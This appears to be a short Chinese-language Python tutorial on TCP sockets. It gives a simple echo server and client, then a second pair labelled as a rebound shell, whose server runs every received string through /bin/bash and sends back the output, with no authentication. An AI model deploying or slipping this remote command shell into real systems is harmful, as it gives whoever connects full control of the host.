简单信息传输
服务端
# -*- coding:utf-8 -*-
from socket import *
HOST=''
PORT=2335
BUFSIZE=1024
ADDR=(HOST,PORT)
#创建一个服务端
tcpserver=socket(AF_INET,SOCK_STREAM) #SOCK_STREAM for TCP 流式socket
#SOCK_DGRAM for UDP 数据报式socket
tcpserver.bind(ADDR) #将地址绑定到套接字
tcpserver.listen(5) #服务端进行监听
while True:
print('wait for connection...')
tcpClient,addr=tcpserver.accept() #被动接收客户端连接,阻塞,等待连接
print('..connected from%s',addr)
while True:
data=tcpClient.recv(BUFSIZE) #接收TCP数据,1024为一次接收的大小
if not data:
break
msg=data.decode()
tcpClient.send(msg.encode()) #发送TCP数据,python3发送数据的格式必须为bytes格式
tcpClient.close() #关闭套接字
tcpserver.close() #关闭套接字
客户端
# -*- coding:utf-8 -*-
from socket import *
HOST='SERVER_IP'
PORT=2335
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpClient=socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data=input('~:')
if not data:
break
tcpClient.send(data.encode()) #发送TCP数据,python3发送数据的格式必须是bytes格式
data=tcpClient.recv(BUFSIZE) #接收TCP数据,1024为一次数据接收的大小
if not data:
break
print(data.decode()) #服务端发送的数据格式为bytes,所以需要decode
tcpClient.close() #关闭套接字
反弹服务器shell
服务端
from socket import *
import time
from subprocess import Popen,PIPE
HOST=''
PORT=2335
BUFSIZE=1024
ADDR=(HOST,PORT)
#创建一个服务端
tcpserver=socket(AF_INET,SOCK_STREAM) #SOCK_STREAM for TCP 流式socket
#SOCK_DGRAM for UDP 数据报式socket
tcpserver.bind(ADDR) #将地址绑定到套接字
tcpserver.listen(5) #服务端进行监听
while True:
print('wait for connection...')
tcpClient,addr=tcpserver.accept() #被动接收客户端连接,阻塞,等待连接
print('..connected from%s',addr)
while True:
data=tcpClient.recv(BUFSIZE) #接收TCP数据,1024为一次接收的大小
if not data:
break
cmd=Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)
data=cmd.stdout.read() #反弹shell
msg=data.decode()
tcpClient.send(msg.encode()) #发送TCP数据,python3发送数据的格式必须为bytes格式
tcpClient.close() #关闭套接字
tcpserver.close() #关闭套接字
客户端
# -*- coding:utf-8 -*-
from socket import *
HOST='SERVER_IP'
PORT=2335
BUFSIZE=1024
ADDR=(HOST,PORT)
tcpClient=socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)
while True:
data=input('~:')
if not data:
break
tcpClient.send(data.encode()) #发送TCP数据,python3发送数据的格式必须是bytes格式
data=tcpClient.recv(BUFSIZE) #接收TCP数据,1024为一次数据接收的大小
if not data:
break
print(data.decode()) #服务端发送的数据格式为bytes,所以需要decode
tcpClient.close() #关闭套接字